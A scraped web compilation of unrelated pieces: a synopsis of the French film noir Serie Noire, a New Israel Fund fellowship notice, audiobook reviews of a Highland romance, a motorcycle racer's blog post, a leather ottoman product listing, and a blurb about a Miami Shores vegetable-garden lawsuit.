The title Serie Noire refers to a popular French mystery series, and literally means Black Series. The story is based on American author Jim Thompson's hardboiled detective story A Hell of a Woman, and is close in spirit to the U.S. film noir mysteries of the 1940s. Frank Poupart (Patrick Dewaere) is a 30-year-old loser, a salesman who is barely scraping by, whose wife has just left him just to think things over. He meets Mona (Marie Trintignant), a quiet, dreamy 15-year-old girl whose aunt has offered her to him for his sexual pleasure in return for a sweater. They become lovers, and both of them see a way out of their impoverished dead-end existence when Mona tells him that her aunt (who is also her landlady) has a large stash of money hidden away. They decide to kill her, and also kill a Greek boxer who owes Frank money, making it look like a murder/suicide. When Frank's wife returns to him, eager to begin their marriage again, he kills her out of sheer frustration. Later he is blackmailed by Staplin (Bernard Blier), his employer, and is left with no loot, no wife, three heinous crimes on his hands, and a clueless adolescent girlfriend.~ Clarke Fountain, All Movie Guide

The Experience
The NIF/SHATIL Social Justice Fellowship is an 10 month experience where fellows spend 32 hours per week interning in an approved, individually-selected Israeli non-governmental organization (NGO), active in one of the following areas:
- Safeguarding civil and human rights
- Pursuing environmental justice
- Promoting Jewish-Arab equality
- Advancing the status of women
- Fostering tolerance and religious pluralism
- Bridging social and economic gaps
Additionally, Fellows engage in monthly enrichment programs and periodic site visits to further develop their understanding of Israel, Israeli activism, and their role as activists both in Israel and at home. Fellows also receive training in leadership and community development. Because Fellows intern full time in an Israeli NGO, successful applicants must have either excellent Hebrew language skills, or good Hebrew with excellent Arabic skills. Living expenses are covered by a modest stipend. [For more info on Fellowship expectations click here] The Fellowship year runs from September 1, 2015 – June 30, 2016 and completed applications, including two letters of reference, are due on January 20, 2015. Applicants should be college graduates by the start of the Fellowship year. Only U.S. and Canadian residents are eligible for the SJF; Israeli permanent residents are not eligible to receive an NIF/SHATIL Social Justice Fellowship.

About the Social Justice Fellowships
In 1997, the Nomi Fein Social Justice Fellowship was established by Nomi's family after her sudden death at the age of 30. Four years later, a second Social Justice Fellowship was created to honor the life and memory of Rabbi Richard J. Israel. In 2008, the NIF/SHATIL Social Justice Fellowship was again expanded. In 2010 we added a U.K. fellow and this year were delighted to add our 6th U.S Fellow, the Jay E. Orlin Fellow, as well as our first Canadian Fellow, bringing the total to 8 Fellows. Click here to read more about the legacies of Nomi Fein, Rabbi Richard J. Israel and Jay E. Orlin.
About the New Israel Fund and SHATIL
The New Israel Fund (NIF) was established in 1979 to strengthen democracy and promote social justice in Israel, and is today Israel's foremost social-change institution. Specifically, it works to advance the following objectives: Fighting for civil and human rights; Promoting religious tolerance and pluralism; Closing the social and economic gaps in Israeli society; and Protecting Israel's environment.
Since its founding, NIF has granted more than $200 million to more than 800 Israeli non-profit organizations. But NIF is far more than a grant maker; NIF is a unique working and philanthropic partnership of North Americans, Israelis, and Europeans, providing more than 1,300 Israeli non-profit organizations with financial and technical support each year.
In 1982, NIF established SHATIL, the New Israel Fund's Empowerment and Training Center for Social Change Organizations in Israel. SHATIL builds organizational capacity of NIF grantees and similar organizations by providing training, consultation, coalition-building assistance, and other services.

Caelen McCabe's young, reckless heart nearly destroyed his clan. Now, putting family loyalty above all else, he steps up to marry his older brother's jilted bride and salvage the uneasy alliance between two clans. While beautiful Rionna McDonald is a fit wife for any man, Caelen trusts no woman, especially not this sweet temptress who torments him with white-hot longing.
As the sacrificial lamb in her father's power game, Rionna will do her duty but vows to protect her heart and her pride from humiliation. Despite everything, though, the heat in Caelen's touch melts her defenses, and she craves the sensual delights of a husband who guards his emotions as fiercely as his clan. But when the ultimate battle for the McCabe legacy is upon them, Rionna's true warrior spirit emerges. She will risk the wrath of her father, the fury of her enemies, and her life to prove to Caelen that his wife's love is too precious to lose.
©2011 Maya Banks (P)2012 Tantor
"Banks nicely balances bedroom and battlefield action as Rionnas tough swordsmanship and Caelens tender lust propel the couple and the clans toward harmony." (Publishers Weekly)
Never judge a book by its movie
"Always Love a Highlander!"
No, they both have their merits.... The story is great either way
Always loved Calen, the youngest McCabe brother. He tries so hard to be cynical,about women and love, but you can feel deep down, he wants love more than anything. You get the feeling that he had a little crush on Riona when she was engaged to his brother Aleric..
and Riona rocks... she is a sword wielding, pants wearing, 16th century biker chick, who embraces her new husband, and is determined to make him love her.
They cast her perfectly, her voice is smooth and clear, her character voices are all different, so you know who is speaking.
Discover the Heat of the HIghlands
I love being swept away by a new romance and thankfully Audible's ever growing Library means I get to indulge myself over and over again
Oh, this is the last of the trilogy of the McCabe brothers and I'm having withdrawal effects. All 3 books have been great and I've loved them all - they have hot romances, likeable characters, well written with good Storylines and of course, hunky highland heroes.
A message to Maya Banks - can't they have an adopted brother, 2 illegitimate brothers, cousins, young uncles.... anything. Oh I know I'm grasping at straws...... and sad, but I'm begging you - please please please.
Worth the credit? After this review what do you think?
Love to read!
"Had its moments."
This book started off well. There was real potential in the characters and the possibility of a good story - a forced marriage, a tom boy female, and a betrayed warrior.
By the middle of the book, it was pretty boring and lost any real story line. I found myself not wanting to finish it, but kept going back hoping it would get better. Unfortunately, that was a mistake. The ending was so cheesy and stupid!!! YUCK!!!!
The performance was really good and is probably the only thing that made the book tolerable.
Say something about yourself!
"Intervention? Someone?"
In my search for lighter fare I now find myself engulfed in Highland meringue. This is the third installment of the McCabe series and is – as I found the others – predictable and – interesting. Better than book two, not as good as book one.
I love Kristen Potter's narration so I think that is what kept me listening. Not the predicable plot or the predicable ending. (I could almost hear the theme for "Top Gun" at the climax of this one.) I'm not that imaginative so I'm sure there are better themes to draw from – like "Kill Bill." (I have only sort of watch one of those…)
The end was just silly, but poor Rionna did find love and became the 'Warrior Princess' she always wanted to be – as if no one could figure that out from book one when she defeated a McCabe warrior three times her size.
Like I said before, I must have required a serious distraction because I listened to the whole thing, I cringed at a few things but not like book two, and I didn't return it (yes you can).
I am now on to more good books. I'm glad for the distraction – I must have needed it. And what is with the title? I do not get that at all.
"You won't want it to end"
This last book in a trilogy about the hunky McCabe brothers is every bit as delicious as the previous two. If your a first timer of Maya Banks I highly reccomend you start with book one. That's not to say this book can't stand on its own, it most certainly can but why waste the steamy fun on just one book?
Caelen McCabe is the youngest McCabe brother. His no nonsense approach to life can put people off, but those that know him know the reason for his gruff ways. When he was younger his trust and love in a women had cost him dearly. Now he can trust no one, especially a women. When he steps in to marry the women his brother cast aside for another he has his work cut out for him. He is now the leader of his wife's clan and no one is happy about that. Can he learn to trust and gain trust in return? His life and as well as his old clan and the new one might depend on it.
I love how Maya Banks puts a story together. Her excellent writing skills put together a story so beautifully that I find I never want it to end. She spins a tale of intrigue and sexual conquest much like a spider spins web, sucking the listener in deeper and deeper until they are helpless to escape. And this case have no desire to escape. This is romance with a capital R! If you love steamy love scenes and brawny hero's as well as stubborn not so docile heroines then you will love this book.
Kudos to Kristen Potter who reads beautifully and smoothly. Her well spoken voice makes this well worth listening to.
So many books...so little time! :)
I loved Rionna McDonald and her relationship with Caelen McCabe. She is so misunderstood in the beginning until you get to know her. And hearing the two of them together and how their relationship grows and changes is great!
So this was the first book I listened to in this series not knowing there were previous books. However I must say this was my favorite of all three!! I loved these two characters the best as there is so much more to them that meets the eye!
Since listening to my first book from her, I have always thought she was great! I would recommend her narration any time. Her accents and the way she can change from character to character is amazing! Love her!
Yes! For sure...I have a hard time stopping!
Wish it didn't have to end! :)
I really enjoy the world of books! Narration just add layers to that world... don't u think? :)
"Can I just say WOW!"
Caelen McCabe is the most rugged brother of them all! Wow! He didn't take any crap at all. I loved that. He had to be tough, stepping up as a new Lair of a new clan, and I think he did well to gain the repect due him. Caelen was the perfect brother to be with Rionna too! Their love story was just great. I love how the characters of all three books just carried over from one book to another. I liked how each book just picked up where the other left off. I loved who killed the bad guy! That was just perfect.I thought it was gonna be like a three way between the brothers, but I loved how Banks ended this sereis. I kinda wish there was another book. Maybe to show how Kristen and Gretchen will be!!!
Sassy dialogue, humor, and a great reader are important to me.
"Warrior Princess mets Highland McCabe"
Ms Banks is one of the few writers who can tell a tale in 3 books and make them all very good. Ewen # 1 is a strong hero & begins the tale. Aleric #2 book, you will need a tissue and Calen #3 is headstrong but the ending is so endearing. This is the first trio that really is worth buying. Voice of Kristen Potter makes all 3 books just plain wonderful to listen and get the full experience. I listen to the 3 books straight through and you can not say that about many triology!
Audible Addict!!! My Favorite books have change since joining Audible and my taste for erotic has enhanced! Follow me to the dark side. ;)
"Get the complete Trilogy! You will Love All 3"
I could not stop. This is when i fell in true love with a Highlander.
"Loved this finale"
Finally Rionna gets her HEA!! Rionna and Caelan's book was a really enjoyable book to listen to. KP has really outdone herself in this series! Loved her scottish burr.
Rionna had been passed up by Ewain, Ulrich and finally Caelan raised his hand to sacrifice himself in the bid to gain Laird MacDonalds alliance with the McCabes. I felt bad for Rionna, but she held her own. She was a fighter, but she had a good and loyal heart. She was a great match for the youngest and most scarred MaCabe.
I don't know if any of the prior women could have penetrated his defenses after his first love betrayed him and devastated his life.
I had so hoped that Maya Banks would write a book on Gannon because he had to babysit 3 Mccabe women. Even Cormack got his girl, why not Gannon?
I hope the author revists this series sometime soon.

Benny Solis Blog: New Bike, New Team, New Everything!
NEWS March 12, 2013
We went out to Jennings to do a day of riding with the team. It was my first time riding the track, the bike, getting to know my guys and the whole team. We had a great time and I felt very comfortable with the whole program.
As soon as I saw the M4/GEICO built Hondas, I got butterflies haha. Almost like a love connection with the bike! I sat on it and everything felt great, felt like a Honda :)
We out for my first session, the bike already was incredible. Only took a few turns to get the feeling back of the Honda.....it was seriously an awesome feeling. I was smiling under my helmet too!
The power, the handling, and just the way the bike felt was really a confidence booster for me. Having the bike nearly where my race set up is helped me learn the track pretty fast too.
I was able to get a couple laps in with Dane Westby which helped me a ton. I picked up a second just on seeing a few things and he also came in and gave me quite a few pointers and lines for the track. It definitely helped me and I had a different view of a couple tricky turns.
Throughout the day it was just improvement every time we went out. I got to know my guys better little by little and we always kept the communication going to get everything rolling smoothly.
The changes we made on the bike were quite minor too....that is due to the fact that the M4/GEICO race team built some great machines and already had my setup nearly to where I race it.
I haven't felt so comfortable and connected with a race bike in a while....I'm really happy with how everything is turning out so far. Our guys are the hardest working guys which makes me really motivated to put in 110% all the time. It's slowly coming together and we are already pretty strong...I'm seriously excited for the near future as I can see and feel some great things coming our way :)
I'm stoked on how welcomed I feel as well, everyone is way cool and it feels like family in the race team.
Off we got to Daytona! I'll post something else soon here for you guys to read....meanwhile to check out short updates, I'll be posting small write ups an pictures on my Facebook, Twitter, and Google+ accounts! Check them out, and wish us luck!!!! Thanks ;)

The Details
Miles Leather Cocktail Ottomans
Dimensions: 37"w x 16"h x 37"d
Item#: 727416
Composition and Construction
Engineered Hardwood frame construction allows for greater durability and strength. Mortise and tenon joints have replaced traditional dowel construction used in frame construction. The mortise (hole or slot) is cut into one member and the tenon or tongue from the adjoining piece fits tightly so that, when glued, these joints act as if the wood has grown together. This method of interlocking joinery provides greater stability with fewer joints. Frames are constructed of 7-ply engineered hardwood panels for increased strength and durability. Frames are glued and stapled.
The upholstered tight seat is constructed of a polyurethane foam and polyester fiber for a clean, tailored appearance and firm seating.
Additional Options for this Upholstery product available in our Design Centers
Nail Head
Modern. Luxe. Forever chic. Nailhead trim instantly adds panache to a variety of frame options. A graphic way to truly "frame" a frame.
A variety of wood finishes are available to complement any fabric or leather application you choose.

City Forces Homeowners to Destroy Veggie Garden
May the government prohibit you from peacefully and productively using your own property to feed your family?
That is the question the Institute for Justice (IJ) and a Miami Shores couple have taken to state court in their challenge to Miami Shores' unconstitutional ban on front-yard vegetable gardens. The law prohibits homeowners from growing vegetables in their front yards, but trees, fruit, and garden gnomes are just fine. Homeowners who grow front-yard vegetable gardens face fines of $50 per day.Read more
